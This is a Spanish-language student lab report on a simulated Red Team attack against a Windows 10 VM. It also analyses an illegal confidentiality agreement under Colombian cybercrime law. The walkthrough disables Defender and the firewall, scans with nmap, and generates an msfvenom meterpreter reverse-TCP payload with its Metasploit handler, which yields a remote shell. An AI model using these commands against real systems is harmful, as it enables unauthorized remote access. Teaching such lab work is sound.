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GLOSARIO

Acceso no autorizado: Término utilizado para describir la accion de ingresar a un
sistema informatico, red o recurso sin permiso o autorizacion.

Analisis forense: Proceso de recoleccion, preservacion y analisis de evidencia
digital con el fin de investigar delitos informaticos o incidentes de seguridad.
Antivirus: Software disefiado para detectar, prevenir y eliminar programas
maliciosos, como virus, gusanos y troyanos, de un sistema informatico.
ARP-scan: Herramienta de red utilizada para descubrir y mostrar dispositivos
conectados a una red local.

Autenticacion béasica: Método de autenticacion que requiere solo un nombre de
usuario y una contrasefia para acceder a un sistema o servicio.

Blue Team: Equipo de seguridad cibernética encargado de defender una red o
sistema contra amenazas informaticas.

Ciberseguridad: Practicas y técnicas utilizadas para proteger sistemas, redes y
datos de ataques cibernéticos.

Caodigo Penal Colombiano: Conjunto de leyes que establecen los delitos y las
penas aplicables en Colombia.

Comando del: Comando utilizado en sistemas operativos Windows para eliminar
uno o mas archivos de un directorio.

Comando dir: Comando utilizado en sistemas operativos Windows y MS-DOS
para mostrar una lista de archivos y subdirectorios en un directorio especifico.
Comando type: Comando utilizado en sistemas operativos Windows y MS-DOS
para mostrar el contenido de uno o mas archivos de texto en la salida estandar.
Delitos informaticos: Actividades ilegales que involucran el uso de computadoras
o redes, como el robo de datos, el fraude en linea y la pirateria informatica.
Desactivacion de seguridad: Accion de deshabilitar medidas de seguridad en un
sistema o dispositivo, exponiéndolo a posibles amenazas.

Direccion IP: Identificador numérico asignado a cada dispositivo conectado a una

red de computadoras que utiliza el protocolo de Internet para la comunicacion.
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Firewall: Dispositivo o software disefiado para controlar y filtrar el trafico de red,
con el fin de proteger una red o sistema contra accesos no autorizados.

Fraude informético: Delito que implica el uso de tecnologia informatica para
cometer estafas, engafos o robos.

Hardening: Proceso de fortalecimiento de la seguridad de un sistema informatico
mediante la aplicacién de medidas y configuraciones especificas.

Herramientas de seguridad: Programas y aplicaciones diseflados para proteger
sistemas informaticos contra amenazas de seguridad.

IFX Network: Proveedor de comunicaciones para instituciones financieras,
entidades publicas entre otras.

Kali Linux: Distribucién de Linux especializada en pruebas de penetracion y
auditoria de seguridad.

Ley 1273 de 2009: Ley colombiana que establece disposiciones para prevenir y
sancionar los delitos informaticos.

LHOST: Término utilizado en pruebas de penetracién y configuraciones de
software para referirse a la direccién IP local del host en el que se esta ejecutando
un servicio.

LPORT: Término utilizado en pruebas de penetracion y configuraciones de
software para referirse al puerto local en el que un servicio esta escuchando
conexiones entrantes.

Malware: Software malicioso disefiado para infiltrarse o dafiar un sistema
informatico sin el consentimiento del usuario.

Metasploit: Marco de pruebas de penetracion que permite a los investigadores de
seguridad probar vulnerabilidades y realizar ataques.

Meterpreter: Una de las herramientas mas utilizadas en la plataforma Metasploit
para obtener acceso a sistemas informéaticos comprometidos.

Microsoft Defender: Software antivirus desarrollado por Microsoft para proteger
sistemas Windows contra programas maliciosos.

Msfvenom: Herramienta de Metasploit utilizada para generar payloads de

malware.



Nmap: Herramienta de escaneo de red utilizada para descubrir hosts y servicios
en una red.

Payload: Codigo malicioso incrustado en un archivo o paquete de datos, utilizado
para llevar a cabo un ataque informatico.

Ransomware: Tipo de ataque informatico en el que un software malicioso cifra
archivos o sistemas, exigiendo un rescate econdmico para su liberacion.

Red Team: Equipo de seguridad cibernética encargado de simular atagues contra
una organizacion para identificar vulnerabilidades y mejorar la defensa.

SCAP (Security Content Automation Protocol): Protocolo utilizado para
estandarizar el formato y la expresion de informacion relacionada con la
seguridad.

Shell inversa: Conexion de red que permite a un atacante acceder de forma
remota a un sistema comprometido.

Software espia: Programa disefiado para recopilar informacion de un sistema sin
el conocimiento o consentimiento del usuario.

Sysinfo: Herramienta de Metasploit utilizada para recopilar informacion del
sistema comprometido.

Victima: Persona, organizacion o sistema afectado por un delito o incidente.
Violacién de datos personales: Acceso no autorizado o divulgaciéon de
informacion personal, lo que constituye una infraccion de la privacidad.
Vulnerabilidad: Debilidad en un sistema o aplicacién que podria ser explotada por
un atacante para comprometer la seguridad.

Windows 10: Sistema operativo desarrollado por Microsoft para computadoras
personales y dispositivos.

Whoami: Comando de linea de comandos utilizado para mostrar el nombre de

usuario actualmente autenticado en un sistema.



RESUMEN

Colombia es el cuarto pais con mas ciberataques del continente americano?, lo que
es fundamental contar con equipos Blue Team y Red Team para poder enfrentar
estas amenazas de manera mas efectiva, los equipos Red Team juegan un papel
crucial al simular ataques informéaticos, identificar vulnerabilidades y evaluar la
efectividad de las medidas de seguridad existentes, por otro lado, los equipos Blue
Team se enfocan en proteger la infraestructura tecnoldgica, aplicar medidas
preventivas y detectar intrusiones en tiempo real, la colaboracion entre estos
equipos es esencial ya que permite mitigar las posibles vulnerabilidades y
reaccionar de agil y efectiva ante una posible amenazas, esto se logra realizando
pruebas de penetracion a los sistemas a los que se tiene autorizacion, identificando
posibles fallos de seguridad y proteger los sistemas o activos de informacion de la

compaiiia?.

Palabras Claves: Hardening, Kali Linux, Ley 1273 de 2009, Metasploit,
Meterpreter, Msfvenom, Shell.

1 REVISTA SEMANA. [Sitio web]. Bogota: Revista Semana. Colombia es el cuarto pais con mas
intentos de ciberataques en América Latina. [Consulta: 03 de marzo 2024]. Disponible en:
https://www.semana.com/foros-semana/articulo/colombia-es-el-cuarto-pais-con-mas-intentos-de-
ciberataques-en-america-latina/202247/

2INTELEQUIA. [Sitio web]. Espafia. Intelequia. Red Team y Blue Team - Funciones y Diferencias en
Ciberseguridad. [Consulta: 03 de marzo 2024]. Disponible en:
https://intelequia.com/es/blog/post/red-team-y-blue-team-funciones-y-diferencias-en-ciberseguridad
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ABSTRACT

Colombia is the fourth country with more cyber-attacks in the Americas, which is
essential to have Blue Team and Red Team teams to address these threats more
effectively, Red Team teams play a crucial role in simulating attacks, identify
vulnerabilities and evaluate the effectiveness of existing security measures, on the
other hand, Blue Team teams focus on protecting the technological infrastructure,
The collaboration between these teams is essential because it allows mitigating
possible vulnerabilities and reacting in an agile and effective way to a possible threat.
This is achieved by performing penetration tests to the systems to which they have
authorization, identifying possible security flaws and protecting the systems or

information assets of the company.

Keywords: Hardening, Kali Linux, Law 1273 of 2009, Metasploit, Meterpreter,
Msfvenom, Shell.



INTRODUCCION

En el siguiente analisis se detalla un escenario de ataque Red Team enfocado en
comprometer una maquina Windows 10 x64, en este escenario se involucra una
serie de pasos, desde la desactivacion de la seguridad en la maquina victima, hasta
la creacion de un payload y la ejecucion de comandos remotos mediante la
explotacion de vulnerabilidades. a través de herramientas como Kali Linux,
Metasploit y msfvenom, se lleva a cabo un proceso detallado para obtener acceso
no autorizado y control total sobre el sistema comprometido para poder eliminar un
archivo en escritorio de la maquina Windows. Posteriormente se asume el rol de
Blue Team para verificar el estado del sistema comprometido, fortaleciendo las
politicas de seguridad del sistema operativo y mitigar el ataque efectuado por el Red
Team, Finalmente, se presentan una serie de recomendaciones para enfrentar este

tipo de ataques de manera efectiva.
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1 OBJETIVOS

1.1 OBJETIVO GENERAL

Simular un ataque Red Team y la respuesta Blue Team en un sistema Windows 10
para identificar las vulnerabilidades del sistema, endurecer las politicas de

seguridad y mejorar la capacidad de respuesta ante incidentes de seguridad.

1.2 OBJETIVOS ESPECIFICOS

Identificar las herramientas y técnicas utilizadas en el ataque Red Team para

comprometer la maquina Windows 10 x64.

Evaluar los pasos necesarios para desactivar la seguridad en la maquina objetivo y

generar un payload malicioso para realizar la explotacion.
Recomendar las medidas necesarias para prevenir futuros ataques Cibernéticos,

como la aplicacion de parches de seguridad, endurecimiento de las politicas de los

sistemas de informacion y la actualizacion de software.
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2 DESARROLLO DEL INFORME
En el desarrollo del informe, se analizaron en profundidad cuatro escenarios
fundamentales en el ambito del Blue Team y el Red Team los cuales proporcionaron
una comprension integral de las funciones y responsabilidades de cada equipo:
3 ESCENARIO 1

De manera individual usted debera leer el problema que se encuentra en el anexo
2 — Escenario 2, ademas debera leer y analizar el anexo 3 — Acuerdo para generar
la solucién a las siguientes preguntas orientadoras:

3.1 ¢UNA VEZ LEIDO EL ANEXO 2 — ESCENARIO 2 Y EL ANEXO 3 -
ACUERDO, ¢{QUE PARRAFOS CREE USTED QUE SE TORNAN ILEGALES
DENTRO DEL ACUERDO DE CONFIDENCIALIDAD? EN CASO DE
EXISTIR LINEAS DE TEXTO QUE ORIENTEN EL ACUERDO DE
CONFIDENCIALIDAD A PROCESOS ILEGALES DEBERA RESALTAR,
EXPLICAR Y ARGUMENTAR PORQUE SE TORNA ILEGAL ESTE
ACUERDO DE CONFIDENCIALIDAD.

- En la clausula primera, objeto “la parte receptora, se obliga a no divulgar
directa, indirecta, préxima a remotamente, ni a través de ninguna otra
persona o de sus subalternos o funcionarios, autoridades legales, asesores
o cualquier persona relacionada con ella, la informacion confidencial o
sobre procesos ilegales dentro de HackerHouse no podran ser divulgados”.

- En este punto se estd condicionando a que, en caso de encontrar
informacion sobre procesos ilegales, no sea denunciado ni puesto en
conocimiento de nadie mas por lo que se buscaria ocultar informacion
importante en un proceso de ilegalidad.

- En la clausula segunda, Definicion de informacion confidencial “Cualquier
informacion societaria, técnica, juridica, financiera, comercial, de mercado,

estratégica, de productos, nuevas tecnologias, patentes, modelos de
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utilidad, disefios industriales, datos secretos como “datos de chuzadas,
interceptacion ilegal de informacion, accesos abusivos a sistemas
informaticos”. Se esta englobando dentro de informacion confidencial,
datos que serian de origen ilegal como las chuzadas, interceptacion de
informacion y los accesos abusivos a los sistemas de informacion,
buscando que en caso de encontrar dicha informacion no pueda ser
compartida con nadie.

En la clausula cuarta: Obligaciones de la parte receptora, literal 3 “No
denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacion de informacion
de terceros.” Se esta buscando esconder la revelacion de informacion
ilegal que se encuentre, tratando de imposibilitar una denuncia por lo
mismo.

En la clausula cuarta: literal 5, “Responder ante las autoridades
competentes como responsable en caso de que la informacién se
encuentre en su poder dentro de un proceso de allanamiento.” Un intento
por transferir la responsabilidad a los receptores por la informacién ilegal
gue se llegase a encontrar.

En la clausula cuarta: literal 6, “La parte receptora se obliga a no transmitir,
comunicar revelar o de cualquier otra forma divulgar total o parcialmente,
publica o privadamente, la informacion confidencial o ilegal sin el previo
consentimiento por escrito por parte de HackerHouse.” De igual forma que
el literal anterior se busca condicionar la revelacion de informacion ilegal
encontrada.

En la clausula octava. Solucién de controversias, “En caso de que la
informacion ilegal o confidencial sea encontrada en manos del receptor
este debera acudir a un abogado privado y dejar exenta de cualquier
responsabilidad legal y penal a HackerHouse” Este es otro intento de
transferir responsabilidades a la parte receptora, buscandolos hacerlos

responsables de la informacion ilegal que se pueda encontrar en su

13



propiedad mientras se ejecuta el desarrollo de los servicios, cuando la

responsabilidad deberia recaer sobre la parte generadora del hecho ilegal.

3.2 SI USTED COMO PROFESIONAL EN CIBERSEGURIDAD LOGRO
ENCONTRAR ALGUN PROCESO ILEGAL EN EL ANEXO 3 — ACUERDO,
DEBERA CITAR PUNTUALMENTE LEY COLOMBIANA Y ARTICULO QUE
SE PODRIA ESTAR VIOLENTANDO EN DICHO DOCUMENTO.

La Ley 1273 de 2009 conocida de Ley de Ciberdelitos?, en los siguientes articulos
nos habla sobre las violaciones cometidas en caso de estar involucrado en un

proceso ilegal de ciberseguridad.

- Articulo 3: Define los delitos informaticos y las acciones que los
constituyen. Como el acceso abusivo a un sistema informatico,
interceptacién de informacion y violacién de datos personales.

- Articulo 8: El acceso, intercepcion o interferencia, de datos informéaticos sin
autorizacion constituye un delito, y quien realice estas acciones debera
indemnizar por los dafios y perjuicios causados.

Aungue la presente Ley no puntualiza por la responsabilidad que pueda
tener el prestador por la no divulgacion de informacion delictiva, si brinda
los lineamientos para determinar si se esta o no encubriendo o aceptando
algun tipo de hecho ilegal

El Cdodigo Penal Colombiano en su articulo 435 penaliza la omisién de la
denuncia de un hecho ilegal conocido*. Aqui se indica que sin importar el

empleo, servicio 0 cargo que se tenga se esta en la obligacion de dar a

3 CONGRESO DE LA REPUBLICA. [Sitio web]. Bogota: secretaria Senado. Ley 1273 de 2009.
[Consulta 05 de marzo 2024]. Disponible en:
http://www.secretariasenado.gov.co/senado/basedoc/ley 1273 2009.html
4 CONGRESO DE LA REPUBLICA. [Sitio web]. Bogota: secretaria Senado. Ley 599 de 2000.
[Consulta 05 de marzo 2024]. Disponible en:
http://www.secretariasenado.gov.co/senado/basedoc/ley 0599 2000.html
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conocer la informacion de la cual se tiene conocimiento. Esta Ley no aplica
especificamente a delitos informaticos, pero es aplicable a cualquier delito
en general.

- El Cddigo Penal en su articulo 289 también se relaciona a la falsedad en
documento privado al momento de intentar transferir la responsabilidad de

un delito por medio de la firma de un contrato.

3.3 EL SUELDO PARA LOS PUESTOS DE RED TEMA Y BLUE TEAM ESTAN
ENTRE LOS $17.000.000 Y LOS 22.000.000 RESPECTIVAMENTE. ¢Sl
USTED LLEGARA A ENCONTRAR PROCESOS ILEGALES EN EL
ACUERDO DE CONFIDENCIALIDAD USTED ACEPTARIA EL CONTRATO
Y ACUERDO CON LA ORGANIZACION HACKERHOUSE, AUN
CONOCIENDO LO QUE PODRIA DISPONER COPNIA EN SU CODIGO DE
ETICA Y SANCIONES EN COLOMBIA PARA PROFESIONALES DE
INGENIERIA?

El codigo de ética establece los lineamientos del actuar donde se debe actuar
con integridad, honestidad, responsabilidad, imparcialidad y el respeto por la
vida, la seguridad y el bienestar de la sociedad®. Por lo cual en mi profesion
como Ingeniero de Telecomunicaciones debo actuar acorde a esto, que
ademas aparte de estar acé indicado, es algo que hace parte de los principios
propios como persona y los valores infundados en mi, que no me permitirian
ir en contra de estos principios. Este cédigo habla también de evitar cualquier
conflicto de interés y no aceptar o participar en actividades fraudulentas, con
lo cual al aceptar un contrato de este tipo con tantos temas encubiertos en su

redaccion va totalmente en contra de estas disposiciones.

5 COPNIA. [Sitio web]. Bogota: Consejo Profesional Nacional de Ingenieria. Cddigo de Etica.
[Consulta: 05 de marzo 2024]. Disponible en: https://www.copnia.gov.co/tribunal-de-etica/codigo-de-
etica
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3.4 DEBERA BUSCAR ALGUNA NOTICIA DE CIBERCRIMEN EN COLOMBIA
Y REDACTAR SU PUNTO DE VISTA TENIENDO EN CUENTA LAS
IMPLICACIONES LEGALES Y ETICAS QUE ALLI SE PUDIERON
GENERAR. SE SOLICITA QUE MENCIONE LA LEY Y ARTICULO EL CUAL
LOGRE EXPLICAR LOS DELITOS EXPUESTOS EN LA NOTICIA QUE
CONSULTO.

En el afio 2023, la empresa IFX network proveedora de servicios de tecnologia
fue atacada por un ransomware con lo cual se vieron afectadas muchas
empresas del sector publico. Aunque no se cuenta con mayor informacién
sobre el alcance del ataque, se puede relacionar con algunos delitos como el
acceso abusivo a un sistema informatico, fraude informéatico, violacion de
datos personales, entre otros. Por lo que aunque la empresa IFX no sea quien
haya realizado el delito, son los responsables por no tener la infraestructura
necesaria para salvaguardar la informacién que ellos manejan, esto genera
ademas de todo un importante dafio reputacional porque al no contar con las
suficientes medidas no es una empresa con la cual se pueda confiar en
compartir datos tan importantes, que aunque aun no se vea el impacto, a futuro
y en la medida que utilicen la informacion recolectada se podra medir en

realidad el impacto que se tuvo sobre las empresas involucradas®.

Este ataque esta enmarcado dentro de la Ley 1273 de 2009, donde se
establecen las regulaciones de violacion de los delitos informéticos, en su
articulo 269A, habla del acceso abusivo a un sistema informatico protegido
con medidas de seguridad. ElI 269B, habla sobre la obstaculizacion de un
sistema informético o de telecomunicaciones, El 269C interceptacion de datos

informaticos. ’

6 PORTAFOLIO. [Sitio web]. Bogota: Tecnologia Portafolio. Ciberataque en Colombia: acciones que
llevan a cabo para mitigar dafios. [Consulta 06 de marzo 2024]. Disponible en:
https://lwww.portafolio.co/tecnologia/ciberataque-en-colombia-acciones-que-se-estan-realizando-
para-mitigar-danos-ifx-network-589102

7 CONGRESO DE LA REPUBLICA. [Sitio web]. Bogota: secretaria Senado. Ley 1273 de 2009.
[Consulta 05 de marzo 2024]. Disponible en:
http://www.secretariasenado.gov.co/senado/basedoc/ley 1273 2009.html
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El codigo Penal Colombiano, también penaliza estos eventos, Articulo 206,
Acceso abusivo a sistema informatico, Articulo 209 Fraude informatico.

Articulo 2092, Violacién de Datos Personales.

4 ESCENARIO 2

1. Desactivamos la seguridad en la maquina windows (Windows Defender?,

Firewall,antivirus y proteccion en tiempo real).

Imagen 1. Estado de proteccién maquina Windows

Sequridad de Windows

= dispositivo, y to

| it Inicio Q

J  Proteccién contra virus y amenazas

Proteccion contra virus y
R Proteccién de cuentas amenazas
6n en tiempo real esti
3, lo que pone en

b9 Firewall y proteccion de red

1  Control de aplicaciones y explorador

Activar

Seguridad del dispositivo

=
%7 Rendimiento y estado del dispositivo
gk Opciones de familia (( |B

Firewall y proteccion de red
Los firewalls estan desactivados.
El dispositivo podria estar en

riesgo.

Activar

Fuente. El Autor

8 MICROSOFT. [Sitio web]. Espafia. Windows: Windows defender: [Consulta 08 de marzo 2024].
Disponible en: https://www.microsoft.com/es-xl/windows/comprehensive-security?r=1
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Imagen 2.

Desactivacion proteccion en tiempo real maguina Windows

Seguridad de Windows

Configuracion de
*: Proteccidn contra virus

G Inicio y amenazas
| {J  Proteccion contra virus y amenazas Visualiza y actualiza la configuracion de
Proteccién contra virus y amenazas para Antivirus
8 Proteccién de cuentas de Microsoft Defender

) Firewall y proteccion de red

B3  Control de aplicaciones y explorador Proteccién en tiempo real
Localiza el malware e impide gue se instale o
2 Seguridad del dispositivo ejecute en el dispositivo. Puedes desactivar esta
opcion durante un breve periodo antes de que
<7 Rendimiento y estado del dispositivo vuelva a activarse automaticamente.
s Opciones de familia La proteccién en tiempo real esta

€ desactivada, lo que pone en riesgo el
dispositivo.

@ Desactivado

Fuente. El Autor

2. En la maquina Kali® con el comando ifconfig podemos ver la configuracion

actual de la interfaz ethO donde se tiene la direccion 1p:192.168.1.73,

direccion

etho: flags
ine
eth
RX
RX
>
X

lo: flags=7
ine
ine
loo

ip que corresponde a la maquina Kali.

Imagen 3. IP KALI Linux

~

=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500

t 192.168.1.73 netmask 255.255.255.0 broadcast 192.168.1.255
er 00:0c:29:c0:d5:64 txqueuelen 1000 (Ethernet)

packets 174515 bytes 17246127 (16.4 MiB)

errors @ dropped 97 overruns @ frame @

packets 248639 bytes 14971200 (14.2 MiB)

errors @ dropped @ overruns @ carrier @ collisions @

3<UP, LOOPBACK,RUNNING> mtu 65536

t 127.0.0.1 netmask 255.0.0.0

t6 ::1 prefixlen 128 scopeid @0x10<host>

p txqueuelen 1000 (Local Loopback)

packets 26603 bytes 2047028 (1.9 MiB)

errors @ dropped @ overruns @ frame 0

packets 26603 bytes 2047028 (1.9 MiB)

errors ® dropped @ overruns @ carrier @ collisions @

Fuente. El Autor

° DIGITAL GUIDE
Disponible
linux/#:~:text=Kali%
€%20pol%C3%A9mica.

IONOS. [Sitio web]. Espafia. lonos. Kali Linux. [Consulta 06 de marzo 2024].
en: https://www.ionos.es/digitalguide/servidores/configuracion/kali-
20Linux%20es%20un%20sistema,distribuci%C3%B3n%20n0%20carece%20d
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3. En la maquina Kali con el comando arp-scan -l, para identificar todas las
direcciones IP conectadas a lared, entre las direcciones listadas, se encontrd
la direccién IP 192.168.1.68, la cual corresponde a la maquina con sistema
operativo Windows 10.

Imagen 4. IP Maguina Windows desde el KALI

Interface: eth®, type: EN1OMB, MAC: 00:0c:29:c0:d5:64, IPv4: 192.168.1.73
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.25 6Cc:63:9c:3d:45:a0 ARRIS Group, Inc.

192.168.1.61 4c:1d:96:ab:ab:80 Intel Corporate

192.168.1.60 b0:95:75:fb:06:6e (Unknown)

192.168.1.68 00:0Cc:29:84:40:17 VMware, Inc.

192.168.1.63 84:c8:a0@:ba:ed:7c (Unknown)

192.168.1.76 f0:c8:14:b7:9e:16 (Unknown)

192.168.1.252 00:00:ca:01:02:03 ARRIS Group, Inc.

192.168.1.62 a2:€9:36:d9:01:55 (Unknown: locally administered)

L = S S S B S Y

9 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.133 seconds (120.02 hosts/sec). 8 responded

Fuente. El Autor

Imagen 5. IP Maquina Windows desde el Windows
:WUsers\RE-TEAM>ipconfig

Configuracidén IP de Windows

Fuente. El Autor

4. Desde el Kali con el comando nmap -O -sV --osscan-guess, podemos
determinar el sistema operativo que esta siendo ejecutado por la direccién IP

192.168.1.68.
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para descubrir S.O. de maguina victima

Imagen 6. Comando de NMAP

- -

Nm: sCan re
Host is up (
Not shown: 997

msrpc M1 oft Windows RPC

netbios-ssn Mi oft Windows netbios-ssn
i of

es: M soft Windows 1@ 1989 (9 , Microsoft Windows Server 2019
ches for host (test conditions non-id ).
: 1 hop

Windows; CPE: cpe:/o:microsoft:windows

yice detection performed. Please report any incorrect results at https: map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15 seconds

Fuente. El Autor
5. Utilizando la herramienta msfvenom, generamos un payload en forma de un

archivo ejecutable para Windows x64.

msfvenom -p windows/x64/meterpreter/reverse_tcp —platform windows -a x64
LHOST=192.168.1.73=443 -f exe >>
/home/hmstudent/MV/RBTEAM/PoC_1023865435.exe

Imagen 7. Creacion de Playload desde msfvenom

windows/x64/meterpreter/ rse_tcp windows x64 LHOST=192.168.1.73 LPORT=443 exe /home/hmstudent /MV/RBTEAM/PoC 1023865435.exe

Payload : 510 by

encoder specified, outputting raw payload
Final size of exe file: 7168

Fuente. El Autor

Imagen 8. Payload creado.

Fuente. El Autor
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6. Iniciamos Metasploit'® y ejecutamos el médulo exploit/multi/handler, el cual
nos permite crear una shell inversa en la maquina comprometida (Windows
10).

Imagen 9. Uso de exploit en Metasploit.

> use exploit/multi/handler
i vad generic/shell_revers

) » options

Fuente. EIl Autor
7. Exploramos las opciones disponibles en este médulo y configuramos el

payload a utilizar, el LHOST Y LPORT:

Imagen 10. Parametrizacion del exploit.

Name Curre|

L|

05 an interface may be specified)
LPORT 4444

> set LHOST 192.168.1.73

LPORT 443

(an interface may be specified)

Fuente. El Autor

10 OPEN WEBINARS. [Sitio web]. Ciberseguridad. Qué es Metasploit framework. [Consulta 06 de
marzo 2024]. Disponible en: https://openwebinars.net/blog/que-es-metasploit/
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8. En la maquina Windows, ejecutamos el payload que generara una conexion
inversa con la maquina Kali, permitiéndonos asi aprovechar la vulnerabilidad
y llevar a cabo la explotacion.

Imagen 11. Ejecucion Payload en la maquina Windows

Control de cuentas de usuario X

;Quieres permitir que esta aplicacion de un
editor desconocido realice cambios en tu
dispositiva?

PoC 1023865435.exe

Editor: Desconacido
Origen del archivo: Unidad de disco duro en este equipo

Mostrar mas detalles

| Si || No

Fuente. El Autor

9. Desde el Kali, ejecutamos el comando exploit para activar la explotacion y
establecer la conexién con la maquina comprometida.

Imag

en 12. Explotacién de la Vulnerabilidad desde el mdédulo de Metasploit

exploit( ) > exploit

TCP handler om 192.

43 — 192.168.1.68:52114 ) at 2024-03-04 10:54:56 -0500

Fuente. EI Autor
10.Dentro de meterpreter usando el comando sysinfo, podemos traer de vuelta

la informacién béasica del equipo comprometido, como el nombre del host,
sistema operativo, arquitectura del sistema, entre otras.

Imagen 13. Maquina explotada con éxito, se usa el comando sysinfo para verificar
acceso a la maquina victima.

92.168.1.68:52114 ) at 2024-03-04 10:54:56 -0500

Computer

fwindows

Fuente. El Autor
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11.Elcomando shell dentro de Meterpreter permite obtener una shell interactiva
del sistema comprometido, la cual nos permite ejecutar comandos del
sistema operativo directamente desde la linea de comandos, similar a como
lo hariamos en una terminal convencional del sistema comprometido.

Imagen 14. Comando Shell para poder ejecutar comandos en la maquina victima.

rsien 10.0.198¢
TDdDE

Fuente. El Autor

12.Una vez dentro de la consola, podemos verificar nuestra identidad en el
equipo comprometido utilizando el comando whoami, asi como también

examinar la configuracion de red con el comando ip config.

para verificar que se tiene acceso a la maquina Windows.

Imagen 15. Comandos
C:h RE-TEAM\Downloads'\PoC_1023865435. exe>whoami

-@pftled\rb-team

=hRE-TEAM\Downlo oC_1023865435.exe>ipconfig
ipconfig

Configuracien IP de Win

Adaptador de Ethernet Ethernet@:
specefico para la conexien.

Direccien IPw
Venculo: direccien IPv6 local.

de s S o o oo o oo oc
Puerta de enlace predetermimada . . . . . : Gcff:fedd: 45a0%6
192.168.1.25

Adaptador de Ethernet Conexien de red Bluetooth:

: medios desconectados

3 la conexien.

Fuente. El Autor
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13.En la consola, navegamos al directorio donde se encuentra el archivo en

formato de texto.

Imagen 16. Navegacion por comando dentro de la maguina Windows.

volumen de la unidad
El nemeroc de serie del v

<DIR>
<DIR=>

- 2301-;
<DIR=> PoC_1082
B a.em. ! PoC_1@82
archi
dirs 1@8.42

=TI T -]

18
1@
18
1@:
1@

‘06

106

06

‘08

ol ]

106

108

06 p.
B arc
15 dirs

Fuente. El Autor
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14.Dentro del directorio Escritorio, ejecutamos el comando dir para listar los
archivos que se encuentran dentro de esta carpeta, y asi identificar el archivo

en formato txt.

Imagen 17. Archivos de la ubicacién escritorio.
\RE-TEAM\Desktop>dir

EL volumen de la unidad C no ti

L ne#mero de serie del wolumen

Directorio de C:h BE-TEAM\Desktop

10@:2 3 . #M .

1@:2 3 . M. -

10@:2 3 . #M . 4@ Archivo a

10:88 p.em. 2.35%4 Microsoft

B9: 3 . #M . < 1> prueba
2.394 bytes

Fuente. El Autor

15.Utilizando el comando type "Archivo a Eliminar.txt", podemos ver el
contenido de este archivo especifico.

Imagen 18. Uso del comando type para ver el contenido de un archivo.

RE-TEAM\Desktop>type "Archivo a Elimimar.txt"
type "Archivo a Elimipar.txt"
Nombre_estudiante_codig 3_actividad

C:vlUse

Fuente. El Autor

16. Utilizamos el comando del "Archivo a Eliminar.txt" para eliminar el archivo
txt del escritorio.

Imagen 19. Uso del comando del para borrar un archivo.
i -TEAM\Desktop>del "Archivo a Eliminar.txt"

hivo a Elimimar.txt"

Fuente. El Autor
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17.Una vez mas, ejecutamos el comando dir para listar los archivos dentro de
la carpeta, y ahora el archivo de texto ya no se muestra en la lista de archivos

de esa ubicacion.

Imagen 20. Llsta de archlvos del escrltorlo donde no aparece el archivo eliminado.
'_ S "Archivo a Elimipar.txt"
rs\RB-TEAM\Desktop>dir

El volumen de la unidad C
El nemero de serie del wolumen es: EAAC- 1AJL

Directorio de C:‘\Users\RB-TEAM\Desktop

10:33 a.em. <DIR>
18:33 a. . <DIR> .
l@:@ - - 2.354 Mi t Edge.lnk
09:05 a.em. <DIR>
1 archivos
3 dirs

Fuente. El Autor

5 DAR RESPUESTA A LAS SIGUIENTES PREGUNTAS ORIENTADORAS:

1. Describa de manera especifica las herramientas software que utilizé para

llevar a cabo el anexo 4 — escenario 3 enfocado a Redteam.

1.1 Kali Linux: Utilizado para realizar exploracién de red, generacion de
payloads, y ejecucion de exploits.

1.2 Nmap:*! Utilizado para la identificacion del sistema operativo y la deteccién
de puertos abiertos en la maquina Windows 10.

1.3 Arp-scan: Utilizado para identificar todas las direcciones IP conectadas a la

red local.

11 FREECODE CAMP. [Sitio web]. Qué es Nmap y como usarlo: Un tutorial para la mejor herramienta
de escaneo de todos los tiempos. [Consulta 08 de marzo 2024]. Disponible en:
https://www.freecodecamp.org/espanol/news/que-es-nmap-y-como-usarlo-un-tutorial-para-la-mejor-
herramienta-de-escaneo-de-todos-los-tiempos/
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1.4 msfvenom: Utilizado para generar el payload en forma de un archivo
ejecutable para Windows x64.

1.5 Metasploit: Utilizado para la explotacion de vulnerabilidades y la creacion
de una shell inversa en la maquina comprometida.

1.6 Comandos del sistema operativo windows: Utilizados para verificacion
de configuraciones de red, la navegacion y manipulacion de archivos.

2. A continuacion, liste y describa los datos e informacion del anexo 4 —
escenario 3 que le fueron de ayuda para identificar el fallo de seguridad

especifico el cual ataca a la maquina windows 10 X64.

2.1 Direccion IP de la maquina Windows 10 (192.168.1.68).

2.2 Direccion IP de la maquina Kali Linux (192.168.1.73).

2.3 Uso de comandos como arp-scan y nmap para identificar dispositivos en la
red y detectar puertos abiertos en la maquina Windows 10.

2.4 Generacion de un payload en forma de un archivo ejecutable para Windows
x64 al puerto 443 con msfvenom.

3. ¢Qué herramienta utilizé para poder identificar los fallos de seguridad de la
“‘maquina Windows 10”? ;Qué puerto abre la aplicacion especifica en el
anexo?

3.1 La herramienta utilizada para identificar los fallos de seguridad de la
magquina Windows 10 fue Nmap, que escanea y detecta puertos abiertos en
la maquina obijetivo.

3.2 El puerto que abre la aplicacion es el 443.

4. Explique con sus palabras y de manera especifica como afecta el ataque a

la maquina (Windows 10 X64), haga uso de gréaficos para explicar el ataque.

Este tipo de ataque abre una puerta trasera que permite a un atacante
obtener acceso no autorizado a la maquina Windows 10 x64, ya dentro de la
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maquina victima, el atacante puede ejecutar comandos arbitrarios, acceder

a archivos sensibles, robar datos, instalar malware, eliminar archivos de

cualquier ubicacion del sistema, o realizar otras acciones maliciosas en la

maquina comprometida, este puede afectar la integridad, confidencialidad y

disponibilidad de los datos y recursos de la maquina Windows, lo que puede

tener graves repercusiones en la seguridad y funcionamiento del sistema.
Imagen 21. Escaneo de vulnerabilidades con NMAP

Windows 10 x64

KALI LINUX

Fuente. El Autor

Imagen 22. Diagrama de explotacion de la vulnerabilidad.

KALI LINUX Windows 10 x64

LHOST:192.168.1.73

PAYLOAD LPORT:443

Y

TCP_REVERSA - Puerto 443

PAYLOAD = Shell - Meterpreter. . I ‘

IP KALI: 192.168.1.73 IP WINDOWS: 192.168.1.68

Fuente. El Autor
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6 SITUACION PROBLEMA: ANALISIS BLUE TEAM:

HackerHouse solicita a sus integrantes de Blueteam tomar medidas al respecto del
ataque expuesto en la etapa 4 donde se vio afectada una maquina con Window 10.
